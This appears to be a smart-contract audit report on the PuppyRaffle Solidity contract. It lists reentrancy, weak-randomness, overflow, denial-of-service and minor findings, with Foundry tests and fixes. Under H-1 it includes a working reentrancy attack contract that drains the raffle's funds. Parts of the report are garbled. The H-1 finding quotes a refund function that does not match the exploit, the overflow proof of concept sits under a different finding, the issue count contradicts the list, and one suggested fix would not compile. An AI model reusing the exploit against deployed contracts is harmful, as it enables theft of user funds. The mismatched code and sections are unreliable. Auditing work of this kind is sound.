Lead Auditors: - Ritik Agarwal

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
  - Issues found
- Findings
  - High
    - [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to darin raffle fund.
    - [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows attacker to predict the winner and also predict the rare puppy NFt in their foviur.
    - [H-3] Interger overflow of `PuppyRaffle::totalFees` loses fees.
  - Medium
    - [M-1] Looping to players array to check for duplicate in `PuppyRaffle:enterRaffle` is potential DOS attack, incremneting gas cost for future entrants.
    - [M-2] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest
  - Lows
    - L-1: Solidity pragma should be specific, not wide
    - L-2 `PuppyRaffle::getActivePlayerIndex` return 0 for non existent player and for player which is at index 0, causing a player at index 0 to incorrectly think they are not in the raffle.
    - L-3: Missing checks for `address(0)` when assigning values to address state variables
  - Informational
    - [I-1] Using older version is not recommended.
    - [I-2] `PuppyRaffle::selectWinner` does not follow the checks-effects-interactions pattern, which is not a best practice.
    - [I-3] Use of `magic numbers` in `PuppyRaffle::enterRaffle` should be avoided.
    - [I-4] _isActivePlayer is never used and should be removed
    - [I-5] Unchanged variables should be constant or immutable
    - [I-6] Centralization Risk for trusted owners
    - [I-7]: Event is missing `indexed` fields
  - Gas
    - [G-1] Unchanged state variable should be declared constant or immutablw.
    - [G-2] Storage variable in a loop should be cached.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Ritik Agarwal team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f
- In Scope:

Scope

```
./src/
# -- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	2
Medium	2
Low	3
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to darin raffle fund.

Description The `PuppyRaffle::refund` function doesnot allow CEI (Checks, effects and interaction) and as a result it drain the entire raffle funds.

In the `PuppyRaffle::refund` function , we make the external call to the `msg.sender` address and only after making this external call do we update the `players` array. This allow msg.sender to call the refund function and drain the raffle funds.

```
    function refund() external {
        require(
            block.timestamp > raffleEnd,
            "PuppyRaffle: Raffle has not ended"
        );
        require(
            !isRaffleEnded,
            "PuppyRaffle: Raffle has already ended"
        );
        isRaffleEnded = true;
        for (uint256 i = 0; i < players.length; i++) {
            payable(players[i]).transfer(entranceFee);
        }
        players = new address[](0);
    }
```

Impact An attacker can drain the entire raffle funds by calling the `PuppyRaffle::refund` function.

Proof of Concept

1. User enter raffle.
2. Attacker setup the contract with a `fallback` function that calls the `refund` function.
3. Attacker enter thr raffle
4. Attacker calls the `refund` function from the attack contract and drain the raffle funds.

`test_Rentrancy_refund` Code:

```
function test_Rentrancy_refund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        ReentranctyAttackContract attackerContract = new
ReentranctyAttackContract(
                puppyRaffle
            );
        address attackerUser = makeAddr("attackerUser");
        vm.deal(attackerUser, 1e18);

        uint256 startingAttackerContractBalance = address(attackerContract)
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackerUser);
        attackerContract.attack{value: entranceFee}();
        console.log(
            "attacker Contract Balance",
            startingAttackerContractBalance
        );
        console.log("starting contract balance", startingContractBalance);
        console.log(
            "ending attcker balance",
            address(attackerContract).balance
        );
        console.log("ending contract balance", address(puppyRaffle).balance);
    }
```

Attack Contract Code:

```
    `contract` ReentranctyAttackContract {
     PuppyRaffle puppyRaffle;
      uint256 entranceFee;
      uint256 attackeIndex;

       constructor(PuppyRaffle _puppyRaffle) {
         puppyRaffle = _puppyRaffle;
         entranceFee = puppyRaffle.entranceFee();
     }

     function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);
            attackeIndex = puppyRaffle.getActivePlayerIndex(address(this));
         puppyRaffle.refund(attackeIndex);
       }

      function _stealMoney() internal {
          if (address(puppyRaffle).balance >= entranceFee) {
              puppyRaffle.refund(attackeIndex);
           }
       }

       receive() external payable {
           _stealMoney();
       }

      fallback() external payable {
         _stealMoney();
        }
    }
```

Recommended Mitigation The recommended mitigation is to follow the Checks-Effects-Interactions pattern. This means that all the checks should be done before any effects or interactions are made. In this case, the `players` array should be updated before making the external call to the `msg.sender` address.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
+        players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows attacker to predict the winner and also predict the rare puppy NFt in their foviur.

DescriptionThe use of keccak256 hash functions on predictable values like `block.timestamp`, `block.number`, or similar data, including modulo operations on these values, should be avoided for generating randomness, as they are easily predictable and manipulable. The `PREVRANDAO` opcode also should not be used as a source of randomness. Instead, utilize Chainlink VRF for cryptographically secure and provably random values to ensure protocol integrity.

- Found in src/PuppyRaffle.sol Line: 134

  ```
              uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
  ```

Impact An attacker can predict the winner of the raffle and manipulate the outcome in their favor.

Proof of Concept

1. Validator know the `block.timestamp` and `block.difficulty` and can predict the winner.
2. User can mine and manuplate their `msg.sender` value to result in their address being used to generate the winner,
3. User can revert their `selectWinner` transaction if they dont't like the winner or resulting puppy.

Recommended Mitigation Use some other tools to generate the random number like Chainlink VRF.

[H-3] Interger overflow of `PuppyRaffle::totalFees` loses fees.

Description In solidity version prior to `0.8.0` interger were subject to interger overflows.

```
    uint64 myVar = type(uint64).max;
    //18446744073709551615
    myVar = myVar + 1;
    // myVar will be 0
```

Impact In `PupptRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawsFees`. However, in the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permantly stuck in the contract.

Medium

[M-1] Looping to players array to check for duplicate in `PuppyRaffle:enterRaffle` is potential DOS attack, incremneting gas cost for future entrants.

Description The `PuppyRaffle::enterRaffle` loops to the player arrays to check dup. However the longer the `PuppyRaffle::players` array is the more checks a new player will have to make. This means the gas cost for palyers who enter at start has too pay too low gas fee as comparre to who enter last has to pay alot of gasFees.

```
//@DOS attack
         for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Impact The gas cost of for raffle entrant will greatly increase as more player enter thr raffle. Discouraging later user form entering and causing a rush at the start of a raffle to be one of the first entrant on the queue.

Anattacker might fill up the raffle array so big, that no one else enter, gurantee themself the win.

Proof of Concept

If we have 2 set of number of player enter in raffle the gas cost will be high for the 2set for the people.

- 1st batch of gas used- 6252039
- 2st batch of gas used- 18068129 This is more than a 3x of the used from the 1st batch.

```
 function test_breakingforDosc() external {
        vm.txGasPrice(1);
        //Forst 100 Batch
        uint256 playerNum = 100;
        address[] memory players = new address[](playerNum);
        for (uint256 i = 0; i < playerNum; i++) {
            players[i] = address(i );
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playerNum}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = gasStart - gasEnd;
        console.log("gasUsed", gasUsedFirst);

        //Sencond 100 Batch

        address[] memory playersSecond = new address[](playerNum);
        for (uint256 i = 0; i < playerNum; i++) {
            playersSecond[i] = address(i + playerNum);
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playerNum}(playersSecond);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = gasStartSecond - gasEndSecond;
        console.log("gasUsed", gasUsedSecond);
        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation There are few recommendation. 1. Consider the allowing then duplicate. User can make new wallwt address anyways to enter raffle, so duplicate check doesnt prevent the samw person from entering multiple time, only the same wallet address. 2. Consider using mapping to check for duplicates. This would allow constant time loopup of wheather a user has already entered or not.

Proof of Concept

1. We conclude a raffle of 4 player.
2. We enter the raffle with the 89 player.
3. `totalFess` will be:

```
totalFees = totalFees + uint64(fee);
```

4. you will not be able to withdraw, due to the line in `PupptRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfDestruct` to send eth inn this contract in order for the value to match and withdraw the fees, this is clearly not he intended behaviour. At some point there will be too much `balance` in the contract that the above `require` will be impossible to hit.

```


    function test_overflow() external playersEntered {
        //PuppyRaffle puppyRaffel;
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFee = puppyRaffle.totalFees();
        //2nd phase
        uint256 playerNum = 89;
        address[] memory players = new address[](playerNum);
        for (uint256 i = 0; i < playerNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playerNum}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endingTotalFee = puppyRaffle.totalFees();
        assert(endingTotalFee < startingTotalFee);
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are some active players");
        puppyRaffle.withdrawFees();
    }

```

Recommended Mitigation There are few possible mitigation for this issue.

1. Use a newer version of solidity.
2. Use `SafeMath` library to prevent overflow.
3. Use `uint256` instead of `uint64` to prevent overflow.
4. Remove thhe balance check from `PuppyRaffle::withdrawFees`;

```

    address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"

```

There are more attack vector with the `require` statement in `PuppyRaffle::withdrawFees`. We recommend removing this regardless.

[M-2] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact The PuppyRaffle::selectWinner function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.

2. The lottery ends

3. The selectWinner function wouldn't work, even though the lottery is over! **Recommended Mitigation**: There are a few options to mitigate this issue.

4. Do not allow smart contract wallet entrants (not recommended)

5. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Lows

L-1: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

L-2 `PuppyRaffle::getActivePlayerIndex` return 0 for non existent player and for player which is at index 0, causing a player at index 0 to incorrectly think they are not in the raffle.

Descriptionn If a player is in the `PuuppyRaffle::pllayers` array at index 0,this will return 0, but accoriding to the netspec , it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(
    address player
  ) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
      if (players[i] == player) {
        return i;
      }
    }
    return 0;
  }
```

Impact This will cause the player at index 0 to think they are not in the raffle, and will not be able to refund their entrance fee.

Proof of Concept

1. User enter the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` return 0;
3. User think they have not entered the raffle correctly due to the function documentaion.

Recommended Mitigation The easiest recommendation would be to revert if the player is not in the array instead of returing 0.

You could also reserve index 0 for a any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

L-3: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 174

  ```
          feeAddress = newFeeAddress;
  ```

Informational

[I-1] Using older version is not recommended.

Solc releases new version of compiler verison. USing older version prevent access to new solidity security checks. We also recommended using new version like `0.8.18`.

[I-2] `PuppyRaffle::selectWinner` does not follow the checks-effects-interactions pattern, which is not a best practice.

It's best to keep code clean and follow checks-effects-interactions pattern.

```
-        (bool success, ) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+        (bool success, ) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-3] Use of `magic numbers` in `PuppyRaffle::enterRaffle` should be avoided.

It can be cofuncing to see number literals in a codebase, and it's much more readable of the numbers are given in a code base.

```
+       uint256 private constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 private constant  FEE_PERCENTAGE= 20;
+       uint256 private constant  POOL_PRESCISION = 100;
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
+        uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRESCISION;
+        uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRESCISION;
```

[I-4] _isActivePlayer is never used and should be removed

Description The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
-       function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-5] Unchanged variables should be constant or immutable

Constant Instance:

```
    PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
    PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be constant
    PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instance:

```
    PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#30) should be immutable
```

[I-6] Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

- Found in src/PuppyRaffle.sol Line: 18

  ```
  contract PuppyRaffle is ERC721, Ownable {
  ```

- Found in src/PuppyRaffle.sol Line: 173

  ```
      function changeFeeAddress(address newFeeAddress) external onlyOwner {
  ```

[I-7]: Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 53

  ```
      event RaffleEnter(address[] newPlayers);
  ```

- Found in src/PuppyRaffle.sol Line: 54

  ```
      event RaffleRefunded(address player);
  ```

- Found in src/PuppyRaffle.sol Line: 55

  ```
      event FeeAddressChanged(address newFeeAddress);
  ```

Gas

[G-1] Unchanged state variable should be declared constant or immutablw.

Reading from sttoragw is much more expensive than constant.

Instance :

- `PupptRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle:commonIamgeURI` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached.

Everytime you use `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+     uint256 playerLength = players.length
-     for (uint256 i = 0; i < players.length - 1; i++) {
+     for (uint256 i = 0; i < playerLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playerLegth; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```